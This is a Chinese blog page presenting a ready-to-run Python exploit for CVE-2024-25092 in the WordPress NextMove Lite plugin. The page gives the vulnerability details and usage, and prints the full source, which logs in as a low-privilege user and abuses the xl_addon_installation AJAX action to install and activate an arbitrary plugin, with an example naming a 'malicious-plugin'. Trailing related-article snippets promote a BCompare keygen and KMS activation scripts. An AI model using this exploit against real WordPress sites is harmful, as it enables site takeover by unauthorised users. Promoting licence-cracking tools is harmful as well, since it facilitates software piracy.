当前位置: 首页 > article >正文

WordPress NextMove Lite 插件权限绕过漏洞利用工具 (CVE-2024-25092)

CVE-2024-25092 漏洞利用工具项目描述本项目是针对CVE-2024-25092漏洞的自动化利用脚本。该漏洞存在于 WordPress XLPlugins NextMove Lite 插件版本号 ≤ 2.17.0中由于缺少授权检查导致具有订阅者Subscriber及以上权限的认证用户可以绕过权限限制安装并激活任意 WordPress 插件。成功利用此漏洞可能导致网站完全被控制。属性值漏洞编号CVE-2024-25092公开日期2024-06-09严重程度高危 (CVSS 8.8)漏洞类型CWE-862 - 缺失授权受影响版本n/a 至 2.17.0CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H功能特性自动认证登录支持通过用户名和密码登录 WordPress 站点任意插件安装利用漏洞绕过授权限制安装并激活任意 WordPress 插件默认插件支持内置默认插件cart-for-woocommerce支持自定义插件名称会话管理使用requests.Session保持登录状态和 CookieSSL 警告抑制自动禁用不安全的 HTTPS 请求警告安装指南系统要求Python 3.xrequests库安装步骤将脚本保存为CVE-2024-25092.py安装依赖库pipinstallrequests使用说明命令行参数参数简写必填说明--url-u是目标 WordPress 站点 URL--username-un是WordPress 用户名--password-p是用户密码--plugin-pl否要安装的插件 slug默认cart-for-woocommerce基础使用示例# 使用默认插件python CVE-2024-25092.py-uhttp://example.com-unsubscriber_user-puser_password# 指定自定义插件python CVE-2024-25092.py-uhttps://target-site.com-uneditor-ppass123-plmalicious-plugin典型输出Logged in successfully. Site is vulnerable... Exploiting and uploading plugin Plugin cart-for-woocommerce installed and activated successfully.工作流程说明登录阶段向/wp-login.php发送 POST 请求验证用户凭证漏洞利用向/wp-admin/admin-ajax.php发送 POST 请求参数actionxl_addon_installation触发任意插件安装核心代码登录验证模块deflogin(session,url,username,password,user_agent):login_urlurl/wp-login.phpresponsesession.post(login_url,verifyFalse,data{log:username,pwd:password,rememberme:forever,wp-submit:LogIn},headers{User-Agent:user_agent})ifany(wordpress_logged_inincookie.nameforcookieinsession.cookies):print(Logged in successfully.)else:print(Failed to log in.)exit()漏洞版本检测defcheck_version(session,url,user_agent):responsesession.get(version_url,verifyFalse,headers{User-Agent:user_agent})ifresponse.status_code200:ifStable tag: 2.17.0inresponse.text:print(Site is vulnerable... Exploiting and uploading plugin)else:print(Site is not vulnerable.)exit()else:print(Failed to check version.)exit()插件安装利用模块definstall_plugin(session,url,plugin,user_agent):exploit_urlurl/wp-admin/admin-ajax.phpexploit_data{action:xl_addon_installation,xl_slug:plugin,xl_file:/plugin.php}headers{User-Agent:user_agent,Accept:*/*,Accept-Language:en-US,en;q0.5,Accept-Encoding:gzip, deflate, br,Referer:url/wp-admin/admin.php?pagexl-cart,Content-Type:application/x-www-form-urlencoded; charsetUTF-8,X-Requested-With:XMLHttpRequest,Origin:url,Connection:keep-alive,Cookie:; .join([f{cookie.name}{cookie.value}forcookieinsession.cookies])}responsesession.post(exploit_url,dataexploit_data,headersheaders,verifyFalse)ifresponse.status_code200:print(fPlugin {plugin} installed and activated successfully.)else:print(Failed to upload plugin.)主程序入口defmain():parserargparse.ArgumentParser(descriptionExploit script for CVE-2024-25092 By Nxploit Khaled Alenazi. )parser.add_argument(-u,--url,requiredTrue,helpTarget URL)parser.add_argument(-un,--username,requiredTrue,helpUsername)parser.add_argument(-p,--password,requiredTrue,helpPassword)parser.add_argument(-pl,--plugin,defaultcart-for-woocommerce,helpPlugin to install (default: cart-for-woocommerce))argsparser.parse_args()user_agentMozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0requests.packages.urllib3.disable_warnings()sessionrequests.Session()session.verifyFalselogin(session,args.url,args.username,args.password,user_agent)check_version(session,args.url,user_agent)install_plugin(session,args.url,args.plugin,user_agent)if__name____main__:main()免责声明本工具仅限用于授权的安全测试和教育目的。未经授权使用此脚本攻击系统属于违法行为。使用者需自行承担法律责任。6HFtX5dABrKlqXeO5PUv/36QVhA6BltxZzh7R/LTOFg更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享

相关文章:

WordPress NextMove Lite 插件权限绕过漏洞利用工具 (CVE-2024-25092)

CVE-2024-25092 漏洞利用工具 项目描述 本项目是针对 CVE-2024-25092 漏洞的自动化利用脚本。该漏洞存在于 WordPress XLPlugins NextMove Lite 插件(版本号 ≤ 2.17.0)中,由于缺少授权检查,导致具有订阅者(Subscriber…...

免费获取全球900+语言支持的Noto字体库:设计师与开发者的终极解决方案

免费获取全球900语言支持的Noto字体库:设计师与开发者的终极解决方案 【免费下载链接】noto-fonts Noto fonts, except for CJK and emoji 项目地址: https://gitcode.com/gh_mirrors/no/noto-fonts Noto字体库是谷歌开发的开源字体项目,旨在为全…...

8大网盘直链解析神器:告别限速,享受极速下载体验

8大网盘直链解析神器:告别限速,享受极速下载体验 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 …...

Pixel Mind Decoder 性能调优教程:解决GPU显存不足与推理加速

Pixel Mind Decoder 性能调优教程:解决GPU显存不足与推理加速 1. 为什么需要性能调优 当你第一次把Pixel Mind Decoder模型跑起来时,可能会遇到两个让人头疼的问题:要么显存不够用导致程序崩溃,要么推理速度慢得像蜗牛爬。这种情…...

7天连续挑战:OpenClaw+Qwen3-32B完成100个自动化任务实录

7天连续挑战:OpenClawQwen3-32B完成100个自动化任务实录 1. 挑战背景与实验设计 去年冬天第一次接触OpenClaw时,我就被它"用自然语言操控电脑"的理念吸引了。但当时受限于本地显卡性能,只能跑动7B级别的小模型,复杂任…...

3分钟搞定Jellyfin中文元数据:MetaShark插件全攻略

3分钟搞定Jellyfin中文元数据:MetaShark插件全攻略 【免费下载链接】jellyfin-plugin-metashark jellyfin电影元数据插件 项目地址: https://gitcode.com/gh_mirrors/je/jellyfin-plugin-metashark 还在为Jellyfin媒体库中那些没有中文信息的电影和剧集发愁吗…...

ThinkPHP 8+CPU的生命周期的庖丁解牛

它的本质是:理解 PHP 代码(高级语言)如何被编译为 Opcode,进而被 Zend 引擎解释执行,最终转化为 CPU 能够理解的机器指令(Machine Code),并在 CPU 的流水线、缓存(L1/L2/…...

ThinkPHP 8+ES的生命周期的庖丁解牛

它的本质是:PHP 应用作为客户端,通过 HTTP 协议与 ES 集群进行交互。这个过程涉及 JSON 序列化/反序列化、HTTP 连接管理、倒排索引的异步构建以及最终一致性的等待。与 MySQL 的同步事务不同,ES 的操作通常是“近实时 (NRT)”的,…...

ThinkPHP 8+redis的生命周期的庖丁解牛

它的本质是:PHP 进程(客户端)通过 TCP 套接字与 Redis 守护进程(服务端)建立连接,发送基于 RESP 协议的指令,接收二进制响应,并将结果映射回 PHP 变量的全过程。在 TP8 中&#xff0…...

用了半年只留下这1个!2026年我亲测好用的视频文案提取网站真的太香了

做技术的要转需求评审会,做市场的要转客户访谈,做HR要转整箱的面试录音,做内容的要扒视频文案写稿。不同岗位需求天差地别,有的要准,有的要快,有的要掏得起钱。我测了半年换了八款工具,直接给结…...

2026最新!3款亲测搞定音频怎么转换成文字的免费神器,实用必备不踩坑!

很多朋友找音频转文字工具,第一个坑就是只盯着“免费”两个字,要么是限额度转不全,要么是错漏百出改到秃头,算下来时间成本贵到离谱。作为蹲了大半年工具的测评博主,我亲测了3款目前能用的高性价比工具,直接…...

3分钟实现Zotero文献PDF自动下载:科研效率的终极革命

3分钟实现Zotero文献PDF自动下载:科研效率的终极革命 【免费下载链接】zotero-scipdf Download PDF from Sci-Hub automatically For Zotero7 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-scipdf 还在为找不到论文PDF而烦恼吗?每天花费数…...

基于File-Based App开发MVP项目仿

Issue 概述 先来看看提交这个 Issue 的作者是为什么想到这个点子的,以及他初步的核心设计概念。?? 本 PR 实现了 Apache Gravitino 与 SeaTunnel 的集成,将其作为非关系型连接器的外部元数据服务。通过 Gravitino 的 REST API 自动获取表结构和元数据&…...

别再只用Curl了!用libhv的HttpClient类,5分钟搞定C++里的GET/POST请求

别再只用Curl了!用libhv的HttpClient类,5分钟搞定C里的GET/POST请求 如果你还在用Curl命令行工具或者复杂的libcurl API来处理C项目中的HTTP请求,那么是时候认识一下libhv了。这个轻量级、高性能的网络库,用起来简直像在写Python一…...

Beyond Compare 5密钥生成器:快速激活与完整使用指南

Beyond Compare 5密钥生成器:快速激活与完整使用指南 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen 你是否正在寻找Beyond Compare 5的激活解决方案?BCompare_Keygen是一…...

3分钟搞定游戏手柄兼容性:用ViGEmBus让所有手柄在Windows上畅玩

3分钟搞定游戏手柄兼容性:用ViGEmBus让所有手柄在Windows上畅玩 【免费下载链接】ViGEmBus Windows kernel-mode driver emulating well-known USB game controllers. 项目地址: https://gitcode.com/gh_mirrors/vi/ViGEmBus 还在为心爱的手柄无法在Windows游…...

Realistic Vision V5.1效果展示:惊艳写实人像生成案例分享

Realistic Vision V5.1效果展示:惊艳写实人像生成案例分享 1. 开篇:重新定义AI人像摄影 当AI生成的人像照片已经能以假乱真,我们不禁要问:数字艺术与传统摄影的边界在哪里?Realistic Vision V5.1作为当前Stable Diff…...

Vivado IBERT实战:从眼图扫描到误码率分析的链路质量评估

1. 认识IBERT:高速串行链路的"体检医生" 第一次接触IBERT时,我正被一个诡异的高速数据传输问题困扰——在实验室测试时链路表现完美,但一到现场部署就频繁出现数据丢包。当时一位资深工程师递给我一根光纤线说:"用…...

食品商家狂喜:易元AI让你的产品视频“香”到流口水,下单率暴涨

食品电商剪辑,最头疼的难题就是:无法通过视频激发用户食欲,即便产品口感再好、性价比再高,也难以带动下单——很多食品商家的视频要么画面单调、色泽暗淡,要么缺乏食欲感,无法让用户产生“想立刻吃”的冲动…...

从软体机器人到鞋垫分析:Abaqus超弹性材料(Ogden模型)仿真配置全流程

从实验数据到高效求解:Abaqus超弹性材料Ogden模型实战指南 在柔性结构设计和生物力学仿真领域,超弹性材料的精确建模一直是工程师面临的挑战。当我们需要模拟橡胶密封件在压缩状态下的应力松弛、运动鞋垫在行走过程中的能量反馈,或是医疗植入…...

告别“字符串拼接”:在.NET中用LINQ重塑数据查询

告别“字符串拼接”:在.NET中用LINQ重塑数据查询在 .NET Framework 3.5 问世之前,C# 程序员在处理数据时往往面临着“精神分裂”般的痛苦:我们需要在 C# 代码中编写逻辑,而在处理数据库时又要切换到 SQL 字符串,处理 X…...

KMS_VL_ALL_AIO:如何用智能激活脚本彻底解决Windows和Office激活难题

KMS_VL_ALL_AIO:如何用智能激活脚本彻底解决Windows和Office激活难题 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 你是否曾经遇到过这样的尴尬时刻:在重要会议演示时&…...

KMS_VL_ALL_AIO:Windows与Office智能激活终极指南 - 3分钟解决授权问题

KMS_VL_ALL_AIO:Windows与Office智能激活终极指南 - 3分钟解决授权问题 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO KMS_VL_ALL_AIO 是一款功能强大的智能激活脚本工具&#xff0…...

Playwright MCP:重新定义浏览器自动化边界的智能会话桥接方案

Playwright MCP:重新定义浏览器自动化边界的智能会话桥接方案 【免费下载链接】playwright-mcp Playwright MCP server 项目地址: https://gitcode.com/gh_mirrors/pl/playwright-mcp 在当今Web自动化测试领域,开发者们面临着一个普遍困境&#x…...

告别CAJ格式束缚:caj2pdf开源工具深度解析与实战指南

告别CAJ格式束缚:caj2pdf开源工具深度解析与实战指南 【免费下载链接】caj2pdf Convert CAJ (China Academic Journals) files to PDF. 转换中国知网 CAJ 格式文献为 PDF。佛系转换,成功与否,皆是玄学。 项目地址: https://gitcode.com/gh_…...

网盘直链下载助手:八大主流平台一键获取真实下载链接的完整指南

网盘直链下载助手:八大主流平台一键获取真实下载链接的完整指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云…...

Pixel Dimension Fissioner 版本管理实战:Git协作开发工作流

Pixel Dimension Fissioner 版本管理实战:Git协作开发工作流 1. 为什么需要版本管理 在团队开发Pixel Dimension Fissioner这类AI项目时,代码、模型配置和Prompt模板的变更非常频繁。没有版本管理就像在走钢丝——一个不小心的修改可能导致整个项目崩溃…...

解耦的艺术:.NET 中依赖注入(DI)的核心原理与实战

解耦的艺术:.NET 中依赖注入(DI)的核心原理与实战在现代软件开发中,代码的可维护性、可测试性和可扩展性往往取决于架构设计的质量。而 依赖注入(Dependency Injection, DI) 正是实现“高内聚、低耦合”这一…...

三步掌握Ofd2Pdf:OFD转PDF的高效实用指南

三步掌握Ofd2Pdf:OFD转PDF的高效实用指南 【免费下载链接】Ofd2Pdf Convert OFD files to PDF files. 项目地址: https://gitcode.com/gh_mirrors/ofd/Ofd2Pdf Ofd2Pdf是一款专业的开源工具,专为将OFD格式电子文档转换为PDF格式而设计。无论您需要…...

Windows窗口管理终极指南:Traymond让系统托盘变身高效收纳站

Windows窗口管理终极指南:Traymond让系统托盘变身高效收纳站 【免费下载链接】traymond A simple Windows app for minimizing windows to tray icons 项目地址: https://gitcode.com/gh_mirrors/tr/traymond 你是否厌倦了Windows任务栏上拥挤不堪的窗口图标…...